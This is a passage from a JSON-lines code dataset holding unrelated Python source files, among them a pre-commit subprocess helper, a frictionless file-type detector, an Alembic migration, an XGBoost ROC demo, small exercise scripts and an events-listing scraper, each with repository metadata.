concursos compátiveis com os candidados buscando por código do concurso\n #obs:Se houver códigos repetidos com editais diferentes, serão mecionados.\n for con in concursos:\n if codigo in con:\n profissao = re.search('\\[.*', con).group().replace('[','').replace(']','')\n for profi in profissao.split(','):\n for can in candidatos:\n if '[' in can:\n lista_cpf = re.search('...........-..', can).group()\n if profi.startswith(' '):\n profi = profi.replace(' ','', 1)\n if profi in can and lista_cpf not in lista_candidatos:\n lista_candidatos.append(lista_cpf)\n print(count, '-',can.replace(re.search('\\[.*' ,can).group(), '').strip())\n count += 1\n if count > 1:\n input('Acima estão os candidatos compátiveis com o código ('+codigo+') passado.')\n else:\n input('Nenhum compátivel.\\nEnter para terminar.')\n\n\n#apenas executando as duas funções cridadas acima\nlista_dados_por_cpf()\nlista_dados_por_codigo()\n","sub_path":"venha-para-es-palma-mao.py","file_name":"venha-para-es-palma-mao.py","file_ext":"py","file_size_in_byte":4579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"640503172","text":"from __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport collections\nimport subprocess\n\nExecutionResult = collections.namedtuple(\n 'ExecutionResult',\n 'status, stdout, stderr'\n)\n\n\nclass CalledProcessError(RuntimeError):\n pass\n\n\ndef added_files():\n return set(cmd_output(\n 'git', 'diff', '--staged', '--name-only', '--diff-filter=A',\n ).splitlines())\n\n\ndef cmd_output(*cmd, **kwargs):\n retcode = kwargs.pop('retcode', 0)\n popen_kwargs = {'stdout': subprocess.PIPE, 'stderr': subprocess.PIPE}\n popen_kwargs.update(kwargs)\n proc = subprocess.Popen(cmd, **popen_kwargs)\n stdout, stderr = proc.communicate()\n stdout = stdout.decode('UTF-8')\n if stderr is not None:\n stderr = stderr.decode('UTF-8')\n if retcode is not None and proc.returncode != retcode:\n raise CalledProcessError(cmd, retcode, proc.returncode, stdout, stderr)\n return stdout\n\n\ndef execute(cmd, **kwargs):\n splitted_cmd = cmd.split()\n kwargs.setdefault('stdout', subprocess.PIPE)\n kwargs.setdefault('stderr', subprocess.PIPE)\n try:\n process = subprocess.Popen(splitted_cmd, **kwargs)\n stdout, stderr = process.communicate()\n return ExecutionResult(0, stdout, stderr)\n except OSError as e:\n print(\"Command exec error: '%s' %s\" % (cmd, e))\n return ExecutionResult(1, '', '')\n","sub_path":"pre_commit_hooks/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"6427020","text":"\n\nfrom xai.brain.wordbase.nouns._mound import _MOUND\n\n#calss header\nclass _MOUNDING(_MOUND, ):\n\tdef __init__(self,): \n\t\t_MOUND.__init__(self)\n\t\tself.name = \"MOUNDING\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"mound\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_mounding.py","file_name":"_mounding.py","file_ext":"py","file_size_in_byte":235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"444776670","text":"import os\nimport glob\nfrom pathlib import Path\nfrom .helpers import cached_property\nfrom . import helpers\nfrom . import config\n\n\n# NOTE:\n# For better detection we can add an argument allowing metadata reading\n# Exact set of file types needs to be reviewed\n\n\nclass File:\n \"\"\"File representation\"\"\"\n\n def __init__(self, source, *, basepath=\"\", innerpath=None):\n\n # Handle pathlib\n if isinstance(source, Path):\n source = str(source)\n\n # Set attributes\n self.__source = source\n self.__basepath = basepath\n self.__innerpath = innerpath\n\n # Detect attributes\n self.__detect()\n\n @cached_property\n def path(self):\n return self.__path\n\n @cached_property\n def data(self):\n return self.__data\n\n @cached_property\n def type(self):\n return self.__type\n\n @cached_property\n def name(self):\n return self.__name\n\n @cached_property\n def scheme(self):\n return self.__scheme\n\n @cached_property\n def format(self):\n return self.__format\n\n @cached_property\n def innerpath(self):\n return self.__innerpath\n\n @cached_property\n def compression(self):\n return self.__compression\n\n @cached_property\n def memory(self):\n return self.__memory\n\n @cached_property\n def remote(self):\n return self.__remote\n\n @cached_property\n def multipart(self):\n return self.__multipart\n\n @cached_property\n def expandable(self):\n return self.__expandable\n\n @cached_property\n def basepath(self):\n return self.__basepath\n\n @cached_property\n def normpath(self):\n return self.__normpath\n\n @cached_property\n def fullpath(self):\n return self.__fullpath\n\n # Detect\n\n def __detect(self):\n source = self.__source\n\n # Detect path/data\n path = None\n data = source\n if isinstance(source, str):\n path = source\n data = None\n elif isinstance(source, list) and source and isinstance(source[0], str):\n path = source\n data = None\n\n # Detect memory/remote/expandable/multipart\n memory = path is None\n remote = helpers.is_remote_path(self.__basepath or path)\n expandable = not memory and helpers.is_expandable_path(path, self.__basepath)\n multipart = not memory and (isinstance(path, list) or expandable)\n\n # Detect fullpath\n normpath = path\n fullpath = path\n if not memory:\n if expandable:\n normpath = []\n fullpath = []\n pattern = os.path.join(self.__basepath, path)\n pattern = f\"{pattern}/*\" if os.path.isdir(pattern) else pattern\n options = {\"recursive\": True} if \"**\" in pattern else {}\n for part in sorted(glob.glob(pattern, **options)):\n normpath.append(os.path.relpath(part, self.__basepath))\n fullpath.append(os.path.relpath(part, \"\"))\n if not fullpath:\n expandable = False\n multipart = False\n fullpath = path\n elif multipart:\n fullpath = []\n for part in path:\n part = helpers.join_path(self.__basepath, part)\n fullpath.append(part)\n else: # string path\n fullpath = helpers.join_path(self.__basepath, path)\n\n # Detect name\n name = \"memory\"\n if not memory:\n names = []\n for part in fullpath if multipart else [fullpath]:\n name = os.path.splitext(os.path.basename(part))[0]\n names.append(name)\n name = os.path.commonprefix(names)\n name = helpers.slugify(name, regex_pattern=r\"[^-a-z0-9._/]\")\n name = name or \"name\"\n\n # Detect type\n type = \"table\"\n if not multipart:\n if memory and isinstance(data, dict):\n type = \"resource\"\n if data.get(\"fields\") is not None:\n type = \"schema\"\n elif data.get(\"resources\") is not None:\n type = \"package\"\n elif data.get(\"tasks\") is not None:\n type = \"inquiry\"\n elif data.get(\"steps\") is not None:\n type = \"pipeline\"\n elif not memory and path.endswith((\".json\", \".yaml\", \".yml\")):\n type = \"resource\"\n if path.endswith((\"schema.json\", \"schema.yaml\", \"schema.yml\")):\n type = \"schema\"\n elif path.endswith((\"package.json\", \"package.yaml\", \"package.yml\")):\n type = \"package\"\n elif path.endswith((\"inquiry.json\", \"inquiry.yaml\", \"inquiry.yml\")):\n type = \"inquiry\"\n elif path.endswith((\"pipeline.json\", \"pipeline.yaml\", \"pipeline.yml\")):\n type = \"pipeline\"\n\n # Detect scheme/format/innerpath/compression\n scheme = \"\"\n format = \"\"\n compression = \"\"\n innerpath = \"\"\n detection_path = fullpath[0] if multipart else fullpath\n if not memory:\n scheme, format = helpers.parse_scheme_and_format(detection_path)\n if format in config.COMPRESSION_FORMATS:\n if not multipart:\n compression = format\n detection_path = detection_path[: -len(format) - 1]\n if self.__innerpath:\n detection_path = os.path.join(detection_path, self.__innerpath)\n scheme, format = helpers.parse_scheme_and_format(detection_path)\n if format:\n name = os.path.splitext(name)[0]\n\n # Set attributes\n self.__path = path\n self.__data = data\n self.__name = name\n self.__type = type\n self.__scheme = scheme\n self.__format = format\n self.__innerpath = innerpath\n self.__compression = compression\n self.__memory = memory\n self.__remote = remote\n self.__multipart = multipart\n self.__expandable = expandable\n self.__normpath = normpath\n self.__fullpath = fullpath\n","sub_path":"frictionless/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":6272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"205746160","text":"from classes.overview_classes import Overview\nfrom classes.nobles_classes import Ruler, Nobleview\nfrom classes.economy_classes import *\nfrom classes.army_classes import ArmyFleetView\nfrom classes.recruit_classes import RecruitView\nfrom classes.commander_classes import CommanderView\nfrom classes.dynasty_and_court_classes import DynastyAndCourtView\nfrom classes.diplomacy_classes import DiplomacyView\nfrom classes.spy_classes import SpyView\nfrom classes.magic_classes import MagicView\nfrom classes.thaumaturgy_classes import ThaumaturgyView\n\n\nclass Country:\n def __init__(self):\n self.name = \"Noname Kráľovstvo\"\n\n self.ruler = Ruler()\n self.overview = Overview()\n self.economy = Economy()\n self.holdings = [Holding()]\n self.trade = Trade()\n self.noble_view = Nobleview()\n self.commanders = CommanderView()\n\n self.recruit_ships = RecruitView()\n self.recruit_army = RecruitView()\n\n self.army_view = ArmyFleetView()\n self.fleet_view = ArmyFleetView()\n\n self.dynasty_court = DynastyAndCourtView()\n\n self.diplomacy = DiplomacyView()\n\n self.espionage = SpyView()\n\n self.magic = MagicView()\n self.thaumaturgy = ThaumaturgyView()\n\n def encode(self):\n result = dict(self.__dict__)\n result['ruler'] = self.ruler.encode()\n result['overview'] = self.overview.encode()\n result['economy'] = self.economy.encode()\n result['holdings'] = [holding.encode() for holding in self.holdings]\n result['trade'] = self.trade.encode()\n result['noble_view'] = self.noble_view.encode()\n\n result[\"commanders\"] = self.commanders.encode()\n\n result[\"recruit_ships\"] = self.recruit_ships.encode()\n result[\"recruit_army\"] = self.recruit_army.encode()\n\n result[\"army_view\"] = self.army_view.encode()\n result[\"fleet_view\"] = self.fleet_view.encode()\n\n result['dynasty_court'] = self.dynasty_court.encode()\n result['diplomacy'] = self.diplomacy.encode()\n result['espionage'] = self.espionage.encode()\n\n result['magic'] = self.magic.encode()\n result['thaumaturgy'] = self.thaumaturgy.encode()\n\n return result\n\n def decode(self, code):\n self.__dict__ = dict(code)\n self.ruler = Ruler().decode(code['ruler'])\n self.overview = Overview().decode(code['overview'])\n self.economy = Economy().decode(code['economy'])\n self.holdings = [Holding().decode(holding) for holding in code['holdings']]\n self.trade = Trade().decode(code['trade'])\n self.noble_view = Nobleview().decode(code['noble_view'])\n\n self.commanders = CommanderView().decode(code[\"commanders\"])\n\n self.recruit_ships = RecruitView().decode(code[\"recruit_ships\"])\n self.recruit_army = RecruitView().decode(code[\"recruit_army\"])\n\n self.army_view = ArmyFleetView().decode(code[\"army_view\"])\n self.fleet_view = ArmyFleetView().decode(code[\"fleet_view\"])\n\n self.dynasty_court = DynastyAndCourtView().decode(code['dynasty_court'])\n self.diplomacy = DiplomacyView().decode(code['diplomacy'])\n self.espionage = SpyView().decode(code['espionage'])\n\n self.magic = MagicView().decode(code['magic'])\n self.thaumaturgy = ThaumaturgyView().decode(code['thaumaturgy'])\n\n return self\n","sub_path":"classes/country_classes.py","file_name":"country_classes.py","file_ext":"py","file_size_in_byte":3367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"444907568","text":"\"\"\"Introduce FlowSession entity\n\nRevision ID: 1fdddb843025\nRevises: 5a540bec1090\nCreate Date: 2019-08-29 18:45:16.483667\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '1fdddb843025'\ndown_revision = '5a540bec1090'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('flow', sa.Column('current_session_id', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'flow', 'flow_session', ['current_session_id'], ['id'])\n op.drop_column('flow', 'description')\n op.add_column('flow_run', sa.Column('flow_session_id', sa.Integer(), nullable=False))\n op.drop_constraint('flow_run_key_flow_id_key', 'flow_run', type_='unique')\n op.create_unique_constraint(None, 'flow_run', ['key', 'flow_session_id'])\n op.drop_constraint('flow_run_flow_id_fkey', 'flow_run', type_='foreignkey')\n op.create_foreign_key(None, 'flow_run', 'flow_session', ['flow_session_id'], ['id'])\n op.drop_column('flow_run', 'flow_id')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('flow_run', sa.Column('flow_id', sa.INTEGER(), autoincrement=False, nullable=False))\n op.drop_constraint(None, 'flow_run', type_='foreignkey')\n op.create_foreign_key('flow_run_flow_id_fkey', 'flow_run', 'flow', ['flow_id'], ['id'])\n op.drop_constraint(None, 'flow_run', type_='unique')\n op.create_unique_constraint('flow_run_key_flow_id_key', 'flow_run', ['key', 'flow_id'])\n op.drop_column('flow_run', 'flow_session_id')\n op.add_column('flow', sa.Column('description', sa.VARCHAR(), autoincrement=False, nullable=True))\n op.drop_constraint(None, 'flow', type_='foreignkey')\n op.drop_column('flow', 'current_session_id')\n # ### end Alembic commands ###\n","sub_path":"praetor/migrations/versions/1fdddb843025_introduce_flowsession_entity.py","file_name":"1fdddb843025_introduce_flowsession_entity.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"170183542","text":"jpg_path = \"./train/\"\nxml_path = \"./train/\"\n\nimport os\nimport xml.etree.ElementTree as ET\n\nname = dict()\nn=0\n\ndef get_objs_label(objs, size):\n label=[]\n global n\n size = [300, 400]\n for i in objs:\n bndbox = i.find(\"bndbox\")\n xmin = bndbox.find(\"xmin\").text\n xmin = float(xmin)/size[0]\n xmax = bndbox.find(\"xmax\").text\n xmax = float(xmax)/size[0]\n ymin = bndbox.find(\"ymin\").text\n ymin = float(ymin)/size[1]\n ymax = bndbox.find(\"ymax\").text\n ymax = float(ymax)/size[1]\n name_idx = i.find(\"name\").text\n if name_idx not in name.keys():\n name[name_idx] = n\n n += 1\n label = [ (name[name_idx] ), (xmin), (ymin) , (xmax) , (ymax) ]\n return label\n\ndef get_lst_line(line):\n idx = line.split()[0]\n filename = line.split()[2]\n xmlfile = ET.parse(xml_path+filename.replace(\"jpg\", \"xml\"))\n width = xmlfile.find(\"size\").find(\"width\").text\n height = xmlfile.find(\"size\").find(\"height\").text\n objs = xmlfile.findall(\"object\")\n position = get_objs_label(objs, [float(width), float(height)])\n #print(position)\n label = idx + \"\\t\" + \"2\\t6\\t\" + str(position[0])+\"\\t\" +str(position[1])+\"\\t\" +str(position[2])+\"\\t\"+str(position[3])+\"\\t\"+str(position[4])+\"\\t\" + \"0.0000\"+\"\\t\" + filename +\"\\n\"\n return label\n\nwith open(\"data_train.lst\") as f:\n while 1:\n line = f.readline()\n if not line:\n break\n label = get_lst_line(line)\n with open(\"train.lst\", \"a\") as lst:\n lst.write(label)\n\n","sub_path":"update_lst.py","file_name":"update_lst.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"631784753","text":"# - * - coding:utf8 - * - -\n###########################################\n# Author: Tinkle\n# E-mail: shutingnjupt@gmail.com\n# Name: Set Mismatch.py\n# Creation Time: 2018/3/22\n###########################################\n'''\nThe set S originally contains numbers from 1 to n. But unfortunately, due to the data error, one of the numbers in the set got duplicated to another number in the set, which results in repetition of one number and loss of another number.\n\nGiven an array nums representing the data status of this set after the error. Your task is to firstly find the number occurs twice and then find the number that is missing. Return them in the form of an array.\n\nExample 1:\nInput: nums = [1,2,2,4]\nOutput: [2,3]\nNote:\nThe given array size will in the range [2, 10000].\nThe given array's numbers won't have any order.\n\n'''\nclass Solution(object):\n def findErrorNums(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n tables = dict()\n sum_ = sum(nums)\n size = len(nums)\n for num in nums:\n if num in tables:\n ans1 = num\n break\n else:\n tables[num] = True\n ans2 = ans1 + ((1+size)*size/2-sum_)\n return [ans1,ans2]","sub_path":"Math/645. Set Mismatch.py","file_name":"645. Set Mismatch.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"411455325","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nget_ipython().run_line_magic('load_ext', 'autoreload')\nget_ipython().run_line_magic('autoreload', '2')\n\n########################################################\n# python\nimport numpy as np\nimport warnings\n\n########################################################\n# xgboost, sklearn\nimport xgboost as xgb\n\nwarnings.filterwarnings('ignore', message='sklearn.externals.joblib is deprecated in 0.21 and will be removed in 0.23')\nfrom sklearn.datasets import make_classification\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import roc_curve, precision_recall_curve\n\n########################################################\n# plotting\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n########################################################\n# set global rnd_seed for reproducability\nrnd_seed = 42\n\n\n# In[2]:\n\n\nfrom plotting import * # load plotting code\n\n\n# ## Generate Random Data\n\n# In[3]:\n\n\nX, y = make_classification(n_samples=int(1e5), n_features=50, n_informative=20, n_redundant=10, n_repeated=2,\n n_classes=2, n_clusters_per_class=5, weights=[0.7], flip_y=0.2, class_sep=0.9,\n hypercube=True, shift=0.0, scale=1.0, shuffle=True, random_state=rnd_seed)\n\n\n# Make Train, Validation, and Holdout Sets\n\n# In[4]:\n\n\nX_trainVal, X_holdout, y_trainVal, y_holdout = train_test_split(X, y, test_size=0.33, random_state=rnd_seed, stratify=y)\ndel X; del y;\n\nX_train, X_val, y_train, y_val = train_test_split(X_trainVal, y_trainVal, test_size=0.2, random_state=rnd_seed, stratify=y_trainVal)\ndel X_trainVal; del y_trainVal;\n\n\n# #### Set hyperparameters\n\n# In[5]:\n\n\nparams_default = {'max_depth': 6, 'learning_rate': 0.3, 'gamma': 0.0, 'reg_alpha': 0.0, 'reg_lambda': 1.0}\n\n\n# In[6]:\n\n\nparams_bad = {'max_depth': 2, 'learning_rate': 1.0, 'gamma': 0.0, 'reg_alpha': 0.0, 'reg_lambda': 0.0}\n\n\n# In[7]:\n\n\nfixed_setup_params = {\n'max_num_boost_rounds': 500, # maximum number of boosting rounds to run / trees to create\n'xgb_objective': 'binary:logistic', # objective function for binary classification\n'xgb_verbosity': 0, # The degree of verbosity. Valid values are 0 (silent) - 3 (debug).\n'xgb_n_jobs': -1, # Number of parallel threads used to run XGBoost. -1 makes use of all cores in your system\n}\n\n\n# In[8]:\n\n\nfixed_fit_params = {\n 'early_stopping_rounds': 10, # must see improvement over last num_early_stopping_rounds or will halt\n 'eval_set': [(X_val, y_val)], # data sets to use for early stopping evaluation\n 'eval_metric': 'auc', # evaluation metric for early stopping\n 'verbose': False, # even more verbosity control\n}\n\n\n# ## Setup XGBClassifiers\n# #### Run with initial hyperparameters as a baseline\n\n# In[9]:\n\n\nmodel_default = xgb.XGBClassifier(n_estimators=fixed_setup_params['max_num_boost_rounds'],\n objective=fixed_setup_params['xgb_objective'],\n verbosity=fixed_setup_params['xgb_verbosity'],\n random_state=rnd_seed+3, **params_default)\nmodel_default.fit(X_train, y_train, **fixed_fit_params);\n\n\n# #### Run with bad hyperparameters to compare\n\n# In[10]:\n\n\nmodel_bad = xgb.XGBClassifier(n_estimators=round(0.25*fixed_setup_params['max_num_boost_rounds']),\n objective=fixed_setup_params['xgb_objective'],\n verbosity=fixed_setup_params['xgb_verbosity'],\n random_state=rnd_seed+4, **params_bad)\nmodel_bad.fit(X_train, y_train, **fixed_fit_params);\n\n\n# ## Evaluate\n\n# In[11]:\n\n\ny_holdout_pred_default = model_default.predict_proba(X_holdout, ntree_limit=model_default.best_ntree_limit)[:,1]\nfpr_default, tpr_default, thr_default = roc_curve(y_holdout, y_holdout_pred_default)\nprecision_default, recall_default, thr2_default = precision_recall_curve(y_holdout, y_holdout_pred_default)\n\ny_holdout_pred_bad = model_bad.predict_proba(X_holdout, ntree_limit=model_bad.best_ntree_limit)[:,1]\nfpr_bad, tpr_bad, thr_bad = roc_curve(y_holdout, y_holdout_pred_bad)\nprecision_bad, recall_bad, thr2_bad = precision_recall_curve(y_holdout, y_holdout_pred_bad)\n\nmodels_for_roc= [\n {'name': 'model_1', 'nname': 'Model 1', 'fpr': fpr_default, 'tpr': tpr_default,\n 'pre': precision_default, 'rec':recall_default, 'c': 'C2', 'ls': '-'},\n {'name': 'model_2', 'nname': 'Model 2', 'fpr': fpr_bad, 'tpr': tpr_bad,\n 'pre': precision_bad, 'rec':recall_bad, 'c': 'black', 'ls': '--'},\n]\n\n\n# In[12]:\n\n\npop_PPV = len(np.where(y_holdout == 1)[0]) / len(y_holdout) # P / (P + N)\n\n\n# In[13]:\n\n\ninline=True\n\n\n# ### Standard TPR vs FPR ROC\n\n# In[18]:\n\n\nplot_rocs(models_for_roc, rndGuess=True, inverse_log=False, inline=inline)\n\n\n# #### Inverse Log TPR vs FPR ROC\n\n# In[15]:\n\n\nplot_rocs(models_for_roc, rndGuess=True, inverse_log=True,\n x_axis_params={'max': 0.6}, y_axis_params={'min': 1e0, 'max': 1e1}, inline=inline)\n\n\n# ### Precision vs Recall ROC\n\n# In[16]:\n\n\nplot_rocs(models_for_roc, rndGuess=True, inverse_log=False, precision_recall=True, pop_PPV=pop_PPV,\n y_axis_params={'min': 0.0}, inline=inline)\n\n\n# #### Inverse Log Precision vs Recall ROC\n\n# In[17]:\n\n\nplot_rocs(models_for_roc, rndGuess=False, inverse_log=True, precision_recall=True, pop_PPV=pop_PPV, inline=inline)\n\n","sub_path":"roc_curve_demo.py","file_name":"roc_curve_demo.py","file_ext":"py","file_size_in_byte":5383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"364821643","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Sep 29 10:08:16 2019\r\n\r\n@author: RUDRAJIT\r\n\"\"\"\r\n\r\nfrom PIL import Image\r\nfrom random import randint\r\nimg=Image.open(\"map.png\")\r\nrgb_img=img.convert(\"RGB\")\r\n#dimensions 3818x4600\r\ncount_wb=0\r\ncount=0\r\ncount_ind=0\r\nwhile(count<=10000):\r\n y=randint(0,4599)\r\n x=randint(0,3817)\r\n r,g,b=rgb_img.getpixel((x,y))\r\n #colours black(0,0,0) grey(204,236,230)\r\n if r==0:\r\n count_ind+=1\r\n count+=1\r\n else:\r\n if r==204:\r\n count_wb+=1\r\n count+=1\r\n \r\narea_ind=3287263\r\narea_act_wb=88752\r\narea_wb=(area_ind*count_wb)/count_ind\r\nprint(\"Actual area={0}\\nPredicted area={1}\".format(area_act_wb,area_wb))\r\n","sub_path":"map-area-estimation-technique/area_estimation_wb.py","file_name":"area_estimation_wb.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"493049662","text":"\"\"\"\nFind the 10,001st prime number\n\"\"\"\nfrom math import sqrt\n\ndef is_prime(n):\n \"\"\" Returns whether n is a prime number \"\"\"\n for i in range(2, int(sqrt(n)) + 1):\n if n % i == 0:\n return False\n else:\n if n <= 1:\n return False\n else:\n return True\n\nif __name__ == '__main__':\n prime_counter = 0\n number = 2\n while prime_counter < 10001:\n if is_prime(number):\n prime_counter += 1\n\n if prime_counter == 10001:\n break\n\n number += 1\n\n print(number)\n","sub_path":"projectEuler/10001st_prime.py","file_name":"10001st_prime.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"468425731","text":"firstName = 'Alice'\nlastName = \"Joe\"\n\nage = 25\n\nfruits = [\"orange\", 'mango', 'banana', 'melon', 'blueberries', 'raspberries', 'lemon']\n\nsequences = [1,2,3,4,5,6,7,8,9]\n\nmessage = 'Today is the day of Programming'\n\n\nage = int(input(\"Enter your age: \"))\nif (age < 18):\n print ('You are under age')\nelif (18<=age and age < 50):\n print ('You are a major')\nelse:\n print ('You are way too old')\n\n\n\n\n","sub_path":"Prac01/Shey.py","file_name":"Shey.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"63909695","text":"# Python bytecode 2.7 (decompiled from Python 2.7)\n# Embedded file name: scripts/client/gui/Scaleform/daapi/view/lobby/epicBattle/epic_cycle_helpers.py\nimport datetime\nfrom collections import namedtuple\nfrom helpers import i18n\nfrom gui.Scaleform.locale.MENU import MENU\n_CYCLE_ID = 20180705\nActiveCycleTimeFrameStrings = namedtuple('ActiveCycleTimeFrameStrings', ('startDay', 'endDay', 'startMonth', 'endMonth'))\n\ndef getCurrentWelcomeScreenVersion():\n return generateVersionFromCycleID(_CYCLE_ID)\n\n\ndef generateVersionFromCycleID(cycleID):\n year, month, day = getDateFromCycleID(cycleID)\n year = year - 2000\n return (year << 9) + (month << 5) + day\n\n\ndef getActiveCycleTimeFrameStrings(nextSeason):\n if not nextSeason:\n return ActiveCycleTimeFrameStrings(None, None, None, None)\n else:\n startTimestamp = nextSeason.getCycleStartDate()\n endTimestamp = nextSeason.getCycleEndDate()\n startDay, startMonth = _getDayMonthAsStrFromUTCTimestamp(startTimestamp)\n endDay, endMonth = _getDayMonthAsStrFromUTCTimestamp(endTimestamp)\n return ActiveCycleTimeFrameStrings(startDay, endDay, startMonth, endMonth)\n\n\ndef getDateFromCycleID(cycleID):\n cycleIDStr = str(cycleID)\n year = int(cycleIDStr[:4])\n month = int(cycleIDStr[4:6])\n day = int(cycleIDStr[6:8])\n return (year, month, day)\n\n\ndef _getDayMonthAsStrFromUTCTimestamp(utcTimestamp):\n date = datetime.datetime.fromtimestamp(utcTimestamp)\n dayString = date.strftime('%d')\n if dayString.startswith('0'):\n dayString = dayString[1:]\n monthNr = date.strftime('%m')\n if monthNr.startswith('0'):\n monthNr = monthNr[1:]\n monthString = i18n.makeString(MENU.datetime_months_full(monthNr))\n return (dayString, monthString)\n","sub_path":"source/res/scripts/client/gui/Scaleform/daapi/view/lobby/epicBattle/epic_cycle_helpers.py","file_name":"epic_cycle_helpers.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"418480539","text":"import csv\nfrom google_sheets_data_loader import GoogleSheetsDataLoader\nfrom event import Event\nfrom events_listing import EventsListing\n\nclass EventsListingsChecker:\n\n database_sheet_id = \"1NxjKdgT6du_XhVYHF3sP1JhXm8R1JRZ_EPYFhf_-tBA\"\n database_tab_id_for_listings = \"1925444285\"\n database_tab_id_for_events = \"432768265\"\n events_listings = None\n events_in_listings = None\n events_in_database = None\n __new_events = None\n\n # Initialize an instance of EventsListing from the listing in database\n @staticmethod\n def initialize_events_listing_from_database(listing_in_database):\n listing = EventsListing(source=listing_in_database['Name'],\n url=listing_in_database['URL'],\n event_tag=listing_in_database[\"Event Tag\"],\n event_title_tag=listing_in_database['Event Title Tag'],\n event_date_tag=listing_in_database['Event Date Tag'],\n event_url_tag=listing_in_database['Event URL Tag'],\n next_page_tag=listing_in_database['Next Page Tag'])\n\n return listing\n\n # Initialize an instance of Event from the event in database\n @staticmethod\n def initialize_event_from_database(event_in_database):\n event = Event(id=event_in_database['UID'])\n\n return event\n\n # Load the events listings from Google sheets\n def load_events_listings_from_database(self):\n loader = GoogleSheetsDataLoader(id=self.database_sheet_id,\n tab=self.database_tab_id_for_listings)\n listings_in_database = loader.to_dictionary()\n\n self.events_listings = map(EventsListingsChecker.initialize_events_listing_from_database,\n listings_in_database)\n\n # Load the events from Google sheets\n def load_events_from_database(self):\n loader = GoogleSheetsDataLoader(id=self.database_sheet_id,\n tab=self.database_tab_id_for_events)\n events_in_database = loader.to_dictionary()\n\n self.events_in_database = map(EventsListingsChecker.initialize_event_from_database,\n events_in_database)\n\n # Return a list of new events that were found in the listings, but are not\n # yet in the database\n def new_events(self):\n if not self.__new_events:\n # Diff the IDs of existing events with the IDs of new events\n event_ids_in_listings = [event.id for event in self.events_in_listings]\n event_ids_in_database = [event.id for event in self.events_in_database]\n new_event_ids = list(set(event_ids_in_listings) - set(event_ids_in_database))\n self.__new_events = list(filter(lambda event: event.id in new_event_ids, self.events_in_listings))\n\n return self.__new_events\n\n # Load the events listings from Google sheets\n def scrape_listings(self):\n # List comprehension: https://stackoverflow.com/a/952952/6451879\n self.events_in_listings = [event for listing in self.events_listings for event in listing.events()]\n\n# Call this script to check for new, untracked events\nif __name__ == \"__main__\":\n \"Loading events listings from Google sheet...\"\n checker = EventsListingsChecker()\n checker.load_events_listings_from_database()\n print(\"Fetched \" + str(len(checker.events_listings)) + \" listings.\")\n\n do_not_continue = raw_input(\"Scrape listings? Type anything to abort: \")\n\n if do_not_continue:\n print(\"Aborting...\")\n exit()\n\n checker.scrape_listings()\n\n print(\"Scraping complete. Found \" + str(len(checker.events_in_listings)) + \" events in listings.\")\n\n print(\"Loading existing events from Google sheet...\")\n checker.load_events_from_database()\n print(\"Fetched \" + str(len(checker.events_in_database)) + \" events.\")\n\n print(\"Comparing events in web listings to events in the database...\")\n new_event_count = len(checker.new_events())\n print(\"There are \" + str(new_event_count) + \" new events:\")\n\n for count, event in enumerate(checker.new_events(), start=1):\n print(\"*** Event #\"+ str(count) + \"/\" + str(new_event_count) + \" ***\")\n print(\"ID: \" + str(event.id))\n print(\"URL: \" + str(event.url))\n print(\"Title: \" + str(event.title))\n print(\"Date: \" + str(event.date))\n print(\"Source: \" + str(event.source))\n print(\"\")\n\n output_file = 'output/new-events.csv'\n print(\"Writing new events to \" + output_file + \"...\")\n with open(output_file, 'w') as csvFile:\n fields = ['id', 'title', 'start_date', 'start_time', 'end_date', 'end_time', 'location', 'url', 'source']\n writer = csv.DictWriter(csvFile, fieldnames=fields, extrasaction='ignore')\n writer.writeheader()\n writer.writerows(map(vars, checker.new_events()))\n\n csvFile.close()\n print(\"Done!\")\n","sub_path":"events_listings_checker.py","file_name":"events_listings_checker.py","file_ext":"py","file_size_in_byte":5061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"135304672","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[7]:\n\n\n#Objects are of immutable data 